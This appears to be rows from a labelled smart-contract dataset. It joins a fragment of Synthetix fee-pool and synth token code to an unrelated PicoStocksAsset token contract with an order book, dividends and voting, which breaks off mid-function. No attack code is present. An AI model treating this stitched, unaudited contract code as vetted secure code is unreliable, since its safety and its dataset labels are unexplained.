optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
} | 0 | 1,024 |
pragma solidity ^0.5.0;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint public totalSupply;
address public owner;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
function commitDividend(address who) public;
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
struct User {
uint120 tokens;
uint120 asks;
uint120 votes;
uint120 weis;
uint32 lastProposalID;
address owner;
uint8 voted;
}
mapping (address => User) users;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
commitDividend(msg.sender);
users[msg.sender].tokens = uint120(uint(users[msg.sender].tokens).sub(_value));
if(_to == address(this)) {
commitDividend(owner);
users[owner].tokens = uint120(uint(users[owner].tokens).add(_value));
emit Transfer(msg.sender, owner, _value);
}
else {
commitDividend(_to);
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(msg.sender, _to, _value);
}
}
function balanceOf(address _owner) public view returns (uint) {
return uint(users[_owner].tokens);
}
function askOf(address _owner) public view returns (uint) {
return uint(users[_owner].asks);
}
function voteOf(address _owner) public view returns (uint) {
return uint(users[_owner].votes);
}
function weiOf(address _owner) public view returns (uint) {
return uint(users[_owner].weis);
}
function lastOf(address _owner) public view returns (uint) {
return uint(users[_owner].lastProposalID);
}
function ownerOf(address _owner) public view returns (address) {
return users[_owner].owner;
}
function votedOf(address _owner) public view returns (uint) {
return uint(users[_owner].voted);
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
commitDividend(_from);
commitDividend(_to);
allowed[_from][msg.sender] = _allowance.sub(_value);
users[_from].tokens = uint120(uint(users[_from].tokens).sub(_value));
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PicoStocksAsset is StandardToken {
string public constant name = "PicoStocks Asset";
uint public constant decimals = 0;
uint public picoid = 0;
string public symbol = "";
string public www = "";
uint public totalWeis = 0;
uint public totalVotes = 0;
struct Order {
uint64 prev;
uint64 next;
uint128 price;
uint96 amount;
address who;
}
mapping (uint => Order) asks;
mapping (uint => Order) bids;
uint64 firstask=0;
uint64 lastask=0;
uint64 firstbid=0;
uint64 lastbid=0;
uint constant weekBlocks = 4*60*24*7;
uint constant minPrice = 0xFFFF;
uint constant maxPrice = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint constant maxTokens = 0xFFFFFFFFFFFFFFFFFFFFFFFF;
address public custodian = 0xd720a4768CACE6d508d8B390471d83BA3aE6dD32;
uint public investPrice;
uint public investStart;
uint public investEnd;
uint public investGot;
uint public investMin;
uint public investMax;
uint public investKYC = 1;
uint[] public dividends;
uint public proposalID = 1;
uint public proposalVotesYes;
uint public proposalVotesNo;
uint public proposalBlock;
uint public proposalDividendPerShare;
uint public proposalBudget;
uint public proposalTokens;
uint public proposalPrice;
uint public acceptedBudget;
mapping (address => uint) owners;
event LogBuy(address indexed who, uint amount, uint price);
event LogSell(address indexed who, uint amount, uint price);
event LogCancelBuy(address indexed who, uint amount, uint price);
event LogCancelSell(address indexed who, uint amount, uint price);
event LogTransaction(address indexed from, address indexed to, uint amount, uint price);
event LogDeposit(address indexed who,uint amount);
event LogWithdraw(address indexed who,uint amount);
event LogExec(address indexed who,uint amount);
event LogPayment(address indexed who, address from, uint amount);
event LogDividend(uint amount);
event LogDividend(address indexed who, uint amount, uint period);
event LogNextInvestment(uint price,uint amount);
event LogNewOwner(address indexed who);
event LogNewCustodian(address indexed who);
event LogNewWww(string www);
event LogProposal(uint dividendpershare,uint budget,uint moretokens,uint minprice);
event LogVotes(uint proposalVotesYes,uint proposalVotesNo);
event LogBudget(uint proposalBudget);
event LogAccepted(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
event LogRejected(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setFirstInvestPeriod(uint _tokens,uint _budget,uint _price,uint _from,uint _to,uint _min,uint _max,uint _kyc,uint _picoid,string memory _symbol) public onlyOwner {
require(investPrice == 0 && block.number < _from && _from < _to && _to < _from + weekBlocks*12 && _price > minPrice && _price < maxPrice && _max > 0 && _max > _min && _max < maxTokens );
if(_tokens==0){
_tokens=1;
}
totalSupply = _tokens;
acceptedBudget = _budget;
users[owner].tokens = uint120(_tokens);
users[owner].lastProposalID = uint32(proposalID);
users[custodian].lastProposalID = uint32(proposalID);
investPrice = _price;
investStart = _from;
investEnd = _to;
investMin = _min;
investMax = _max;
investKYC = _kyc;
picoid = _picoid;
symbol = _symbol;
dividends.push(0);
dividends.push(0);
}
function acceptKYC(address _who) external onlyOwner {
if(users[_who].lastProposalID==0){
users[_who].lastProposalID=1;
}
}
function invest() payable public {
commitDividend(msg.sender);
require(msg.value > 0 && block.number >= investStart && block.number < investEnd && totalSupply < investMax && investPrice > 0);
uint tokens = msg.value / investPrice;
if(investMax < totalSupply.add(tokens)){
tokens = investMax.sub(totalSupply);
}
totalSupply += tokens;
users[msg.sender].tokens += uint120(tokens);
emit Transfer(address(0),msg.sender,tokens);
uint _value = msg.value.sub(tokens * investPrice);
if(_value > 0){
emit LogWithdraw(msg.sender,_value);
(bool success, ) = msg.sender.call.value(_value)("");
require(success);
}
if(totalSupply>=investMax){
closeInvestPeriod();
}
}
function () payable external {
invest();
}
function disinvest() public {
require(0 < investEnd && investEnd < block.number && totalSupply < investMin);
payDividend((address(this).balance-totalWeis)/totalSupply);
investEnd += weekBlocks*4;
}
function propose(uint _dividendpershare,uint _budget,uint _tokens,uint _price) external onlyOwner {
require(proposalBlock + weekBlocks*4 < block.number && 0 < investEnd && investEnd < block.number);
if(block.number>investEnd && investStart>0 && investPrice>0 && investMax>0){
totalVotes=totalSupply;
investStart=0;
investMax=0;
}
proposalVotesYes=0;
proposalVotesNo=0;
proposalID=proposalID+1;
dividends.push(0);
proposalBlock=block.number;
proposalDividendPerShare=_dividendpershare;
proposalBudget=_budget;
proposalTokens=_tokens;
proposalPrice=_price;
emit LogProposal(_dividendpershare,_budget,_tokens,_price);
}
function executeProposal() public {
require(proposalVotesYes > 0 && (proposalBlock + weekBlocks*4 < block.number || proposalVotesYes>totalVotes/2 || proposalVotesNo>totalVotes/2));
emit LogVotes(proposalVotesYes,proposalVotesNo);
if(proposalVotesYes >= proposalVotesNo && (proposalTokens==0 || proposalPrice>=investPrice || proposalVotesYes>totalVotes/2)){
if(payDividend(proposalDividendPerShare) > 0){
emit LogBudget(proposalBudget);
acceptedBudget=proposalBudget;}
if(proposalTokens>0){
emit LogNextInvestment(proposalPrice,proposalTokens);
setNextInvestPeriod(proposalPrice,proposalTokens);}
emit LogAccepted(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
else{
emit LogRejected(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
proposalBlock=0;
proposalVotesYes=0;
proposalVotesNo=0;
proposalDividendPerShare=0;
proposalBudget=0;
proposalTokens=0;
proposalPrice=0;
}
function setNextInvestPeriod(uint _price,uint _tokens) internal {
require(totalSupply >= investMin && _price < maxPrice && totalSupply + _tokens < 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
investStart = block.number + weekBlocks*2;
investEnd = block.number + weekBlocks*4;
investPrice = _price;
investMax = totalSupply + _tokens;
investKYC=0;
}
function closeInvestPeriod() public {
require((block.number>investEnd || totalSupply>=investMax) && investStart>0 && investPrice>0 && investMax>0);
proposalID ++ ;
dividends.push(0);
totalVotes=totalSupply;
investStart=0;
investMax=0;
investKYC=0;
}
function payDividend(uint _wei) internal returns (uint) {
if(_wei == 0){
return 1;}
uint newdividend = _wei * totalSupply;
require(newdividend / _wei == totalSupply);
if(address(this).balance < newdividend.add(totalWeis)){
emit LogDividend(0);
return 0;}
totalWeis += newdividend;
dividends[proposalID] = _wei;
proposalID ++ ;
dividends.push(0);
totalVotes=totalSupply;
emit LogDividend(_wei);
return(_wei);
}
function commitDividend(address _who) public {
uint last = users[_who].lastProposalID;
require(investKYC==0 || last>0);
uint tokens=users[_who].tokens+users[_who].asks;
if((tokens==0) || (last==0)){
users[_who].lastProposalID=uint32(proposalID);
return;
}
if(last==proposalID) {
return;
}
if(tokens != users[_who].votes){
if(users[_who].owner != address(0)){
owners[users[_who].owner] = owners[users[_who].owner].add(tokens).sub(uint(users[_who].votes));
}
users[_who].votes=uint120(tokens);
}
uint balance = 0;
for(; last < proposalID ; last ++) {
balance += tokens * dividends[last];
}
users[_who].weis += uint120(balance);
users[_who].lastProposalID = uint32(last);
users[_who].voted=0;
emit LogDividend(_who,balance,last);
}
function changeOwner(address _who) external onlyOwner {
assert(_who != address(0));
owner = _who;
emit LogNewOwner(_who);
}
function changeWww(string calldata _www) external onlyOwner {
www=_www;
emit LogNewWww(_www);
}
function changeCustodian(address _who) external {
assert(msg.sender == custodian);
assert(_who != address(0));
custodian = _who;
emit LogNewCustodian(_who);
}
function exec(address _to,bytes calldata _data) payable external onlyOwner {
emit LogExec(_to,msg.value);
(bool success, ) =_to.call.value(msg.value)(_data);
require(success);
}
function spend(uint _amount,address _who) external onlyOwner {
require(_amount > 0 && address(this).balance >= _amount.add(totalWeis) && totalSupply >= investMin);
acceptedBudget=acceptedBudget.sub(_amount);
if(_who == address(0)){
emit LogWithdraw(msg.sender,_amount);
(bool success, ) = msg.sender.call.value(_amount)("");
require(success);}
else{
emit LogWithdraw(_who,_amount);
(bool success, ) = _who.call.value(_amount)("");
require(success);}
}
function voteOwner(address _who) external {
require(_who != users[msg.sender].owner);
if(users[msg.sender].owner != address(0)){
owners[users[msg.sender].owner] = owners[users[msg.sender].owner].sub(users[msg.sender].votes);
}
users[msg.sender].owner=_who;
if(_who != address(0)){
owners[_who] = owners[_who].add(users[msg.sender].votes);
if(owners[_who] > totalVotes/2 && _who != owner){
owner = _who;
emit LogNewOwner(_who);
}
}
}
function voteYes() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesYes+=users[msg.sender].votes;
}
function voteNo() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesNo+=users[msg.sender].votes;
}
function voteYes(uint _id) external {
require(proposalID==_id);
voteYes();
}
function voteNo(uint _id) external {
require(proposalID==_id);
voteNo();
}
function deposit() payable external {
commitDividend(msg.sender);
users[msg.sender].weis += uint120(msg.value);
totalWeis += msg.value;
emit LogDeposit(msg.sender,msg.value);
}
function withdraw(uint _amount) external {
commitDividend(msg.sender);
uint amount=_amount;
if(amount > 0){
require(users[msg.sender].weis >= amount);
}
else{
require(users[msg.sender].weis > 0);
amount=users[msg.sender].weis;
}
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(amount));
totalWeis = totalWeis.sub(amount);
emit LogWithdraw(msg.sender,amount);
(bool success, ) = msg.sender.call.value(amount)("");
require(success);
}
function wire(uint _amount,address _who) external {
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(_amount));
users[_who].weis = uint120(uint(users[_who].weis).add(_amount));
}
function pay(address _who) payable external {
emit LogPayment(_who,msg.sender,msg.value);
}
function ordersSell(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstask;
uint id=0;
for(;asks[num].price>0 && id<64;num=uint(asks[num].next)){
if(_who!=address(0) && _who!=asks[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(asks[num].price);
ret[4*id+2]=uint(asks[num].amount);
ret[4*id+3]=uint(asks[num].who);
id++;}
return ret;
}
function ordersBuy(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstbid;
uint id=0;
for(;bids[num].price>0 && id<64;num=uint(bids[num].next)){
if(_who!=address(0) && _who!=bids[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(bids[num].price);
ret[4*id+2]=uint(bids[num].amount);
ret[4*id+3]=uint(bids[num].who);
id++;}
return ret;
}
function findSell(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstask;
for(;asks[num].price>0;num=asks[num].next){
if(_maxprice > 0 && asks[num].price > _maxprice){
return 0;}
if(_minprice > 0 && asks[num].price < _minprice){
continue;}
if(_who == asks[num].who){
return num;}}
}
function findBuy(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstbid;
for(;bids[num].price>0;num=bids[num].next){
if(_minprice > 0 && bids[num].price < _minprice){
return 0;}
if(_maxprice > 0 && bids[num].price > _maxprice){
continue;}
if(_who == bids[num].who){
return num;}}
}
function whoSell(uint _id) external view returns (address) {
if(_id>0){
return address(asks[_id].who);
}
return address(asks[firstask].who);
}
function whoBuy(uint _id) external view returns (address) {
if(_id>0){
return address(bids[_id].who);
}
return address(bids[firstbid].who);
}
function amountSell(uint _id) external view returns (uint) {
if(_id>0){
